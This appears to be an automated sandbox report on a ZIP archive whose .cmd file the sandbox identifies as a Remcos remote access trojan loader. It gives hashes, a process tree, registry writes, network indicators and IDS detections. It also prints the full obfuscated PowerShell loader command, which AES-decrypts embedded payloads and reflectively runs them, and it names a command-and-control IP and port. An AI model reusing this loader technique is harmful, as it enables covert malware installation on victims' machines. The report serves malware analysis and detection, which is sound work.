File name:

3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.zip

Full analysis: https://app.any.run/tasks/b7a305a0-77a9-457c-a783-9c4d3afdce13
Verdict: Malicious activity
Threats:

Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links.

Malware Trends Tracker     >>>
Analysis date: March 24, 2024, 00:51:22
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
remcos
remote
Indicators:
MIME: application/zip
File info: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted
MD5:

FB1341417EAA2366049765279732D673

SHA1:

1A63D9DA98101073DFB8D122ED636FD71246A615

SHA256:

F9DD04C2A51D34C636E056347320AEF554C6F0C2805989144514027AA82DBB96

SSDEEP:

12288:MJ9p3ZBKUcB8PJ1lUng1TQRzRgdeiQbCAa3TGma:W3ZBKUcB8xUng1TQRzydelbMTGma

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • REMCOS has been detected (SURICATA)

      • powershell.exe (PID: 3392)

    • Request from PowerShell which ran from CMD.EXE

      • powershell.exe (PID: 3392)

    • REMCOS has been detected (YARA)

      • powershell.exe (PID: 3392)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 2064)

    • REMCOS has been detected

      • powershell.exe (PID: 3392)

    • Remcos is detected

      • powershell.exe (PID: 3392)

  • SUSPICIOUS

    • Executing commands from ".cmd" file

      • WinRAR.exe (PID: 120)
      • cmd.exe (PID: 1696)
      • cmd.exe (PID: 3092)

    • Starts CMD.EXE for commands execution

      • WinRAR.exe (PID: 120)
      • cmd.exe (PID: 1696)
      • cmd.exe (PID: 3092)

    • Reads security settings of Internet Explorer

      • WinRAR.exe (PID: 120)

    • Application launched itself

      • cmd.exe (PID: 1696)
      • cmd.exe (PID: 3092)
      • powershell.exe (PID: 3392)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 3092)
      • powershell.exe (PID: 3392)

    • Cryptography encrypted command line is found

      • cmd.exe (PID: 3940)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 3392)

    • Unusual connection from system programs

      • powershell.exe (PID: 3392)

    • Connects to unusual port

      • powershell.exe (PID: 3392)

    • Reads the Internet Settings

      • powershell.exe (PID: 3392)

    • Access the System.Security .NET namespace (SCRIPT)

      • powershell.exe (PID: 3392)

  • INFO

    • Checks proxy server information

      • powershell.exe (PID: 3392)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Remcos

(PID) Process(3392) powershell.exe
ERROR
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 51
ZipBitFlag: 0x0003
ZipCompression: Unknown (99)
ZipModifyDate: 2024:03:24 00:48:46
ZipCRC: 0x207f7fc3
ZipCompressedSize: 370553
ZipUncompressedSize: 7727486
ZipFileName: 3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
6
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe no specs cmd.exe no specs cmd.exe no specs #REMCOS powershell.exe cmd.exe no specs powershell.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
120"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
1696C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\Rar$DIb120.47909\3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd" "C:\Windows\System32\cmd.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2064"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hiddenC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3092C:\Windows\system32\cmd.exe /K "C:\Users\admin\AppData\Local\Temp\Rar$DIb120.47909\3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd" C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3392C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Remcos
(PID) Process(3392) powershell.exe
ERROR
3940C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\admin\AppData\Local\Temp\Rar$DIb120.47909\3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd';$KUZI='EleMrJamenMrJatMrJaAtMrJa'.Replace('MrJa', ''),'SrASbplrASbitrASb'.Replace('rASb', ''),'DcxuUecocxuUmpcxuUrescxuUscxuU'.Replace('cxuU', ''),'EnzKXdtzKXdrzKXdyzKXdPoizKXdntzKXd'.Replace('zKXd', ''),'CDKRroDKRrpDKRryTDKRroDKRr'.Replace('DKRr', ''),'CremHyIatemHyIDmHyIecmHyIrmHyIymHyIpmHyItomHyIrmHyI'.Replace('mHyI', ''),'LqXKhoadqXKh'.Replace('qXKh', ''),'FibFsromibFsBibFsasibFse6ibFs4SibFstibFsriibFsngibFs'.Replace('ibFs', ''),'MIkMWaIkMWiIkMWnMIkMWodIkMWulIkMWeIkMW'.Replace('IkMW', ''),'GEhZzetEhZzCEhZzuEhZzrrEhZzeEhZzntEhZzProEhZzcesEhZzsEhZz'.Replace('EhZz', ''),'InvYoJVokYoJVeYoJV'.Replace('YoJV', ''),'ChalJqNnlJqNgelJqNElJqNxtlJqNelJqNnslJqNiolJqNnlJqN'.Replace('lJqN', ''),'ReaHsIkdLiHsIknHsIkeHsIksHsIk'.Replace('HsIk', ''),'TyKjzranyKjzsyKjzforyKjzmFyKjziyKjznayKjzlBlyKjzockyKjz'.Replace('yKjz', '');powershell -w hidden;function DzchL($QfpjG){$iBRSE=[System.Security.Cryptography.Aes]::Create();$iBRSE.Mode=[System.Security.Cryptography.CipherMode]::CBC;$iBRSE.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$iBRSE.Key=[System.Convert]::($KUZI[7])('TYzwx+VQruSBclwTSei5OE5DbGGUAEnGVbMuihV8YQU=');$iBRSE.IV=[System.Convert]::($KUZI[7])('+LTXnHvK40EXoqLlqGzCsw==');$sGXqE=$iBRSE.($KUZI[5])();$riXCa=$sGXqE.($KUZI[13])($QfpjG,0,$QfpjG.Length);$sGXqE.Dispose();$iBRSE.Dispose();$riXCa;}function bmuCI($QfpjG){$PkJst=New-Object System.IO.MemoryStream(,$QfpjG);$TpSCv=New-Object System.IO.MemoryStream;$vgnKN=New-Object System.IO.Compression.GZipStream($PkJst,[IO.Compression.CompressionMode]::($KUZI[2]));$vgnKN.($KUZI[4])($TpSCv);$vgnKN.Dispose();$PkJst.Dispose();$TpSCv.Dispose();$TpSCv.ToArray();}$nUBNG=[System.IO.File]::($KUZI[12])([Console]::Title);$aWeUY=bmuCI (DzchL ([Convert]::($KUZI[7])([System.Linq.Enumerable]::($KUZI[0])($nUBNG, 5).Substring(2))));$PFrnG=bmuCI (DzchL ([Convert]::($KUZI[7])([System.Linq.Enumerable]::($KUZI[0])($nUBNG, 6).Substring(2))));[System.Reflection.Assembly]::($KUZI[6])([byte[]]$PFrnG).($KUZI[3]).($KUZI[10])($null,$null);[System.Reflection.Assembly]::($KUZI[6])([byte[]]$aWeUY).($KUZI[3]).($KUZI[10])($null,$null); "C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
7 817
Read events
7 767
Write events
44
Delete events
6

Modification events

(PID) Process:(120) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(120) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(120) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(120) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\phacker.zip
(PID) Process:(120) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\Win7-KB3191566-x86.zip
(PID) Process:(120) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\curl-8.5.0_1-win32-mingw.zip
(PID) Process:(120) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.zip
(PID) Process:(120) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(120) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(120) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
Executable files
0
Suspicious files
4
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
120WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIb120.47909\3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.cmd —
MD5:—
SHA256:—
2064powershell.exeC:\Users\admin\AppData\Local\Temp\cbcuwui5.lro.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2064powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactivebinary
MD5:446DD1CF97EABA21CF14D03AEBC79F27
SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
3392powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PO2HN1X2\json[1].jsonbinary
MD5:19CACFA8F904542A50553A9AD468372B
SHA256:E5160136531877F330B79A7BA450B8B6FD398F35D633D42DD14732D471F0916B
2064powershell.exeC:\Users\admin\AppData\Local\Temp\ebmfhubc.yhk.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
3392powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:6675EDE59684F4A119D2E5DA282AFBE6
SHA256:5026C5EE8FA9ACB21718BF1FAD563C0A3FD5BC79327611FDF9C4ABD2647CE829
3392powershell.exeC:\Users\admin\AppData\Local\Temp\chw0o43k.krw.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
3392powershell.exeC:\Users\admin\AppData\Local\Temp\jqsi5vhh.que.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
6
DNS requests
1
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3392
powershell.exe
GET
200
178.237.33.50:80
http://geoplugin.net/json.gp
unknown
binary
924 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
3392
powershell.exe
91.92.251.30:2025
—
Natskovi & Sie Ltd.
BG
unknown
3392
powershell.exe
178.237.33.50:80
geoplugin.net
Schuberg Philis B.V.
NL
malicious

DNS requests

Domain
IP
Reputation
geoplugin.net
  • 178.237.33.50
malicious

Threats

PID
Process
Class
Message
3392
powershell.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 7
3392
powershell.exe
A Network Trojan was detected
REMOTE [ANY.RUN] REMCOS JA3 Hash
3392
powershell.exe
Malware Command and Control Activity Detected
ET JA3 Hash - Remcos 3.x/4.x TLS Connection
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
3a9a4d649cb72b41d0fe035a5d24c0c317463e019ab35fceca0d9a52c988642c.zip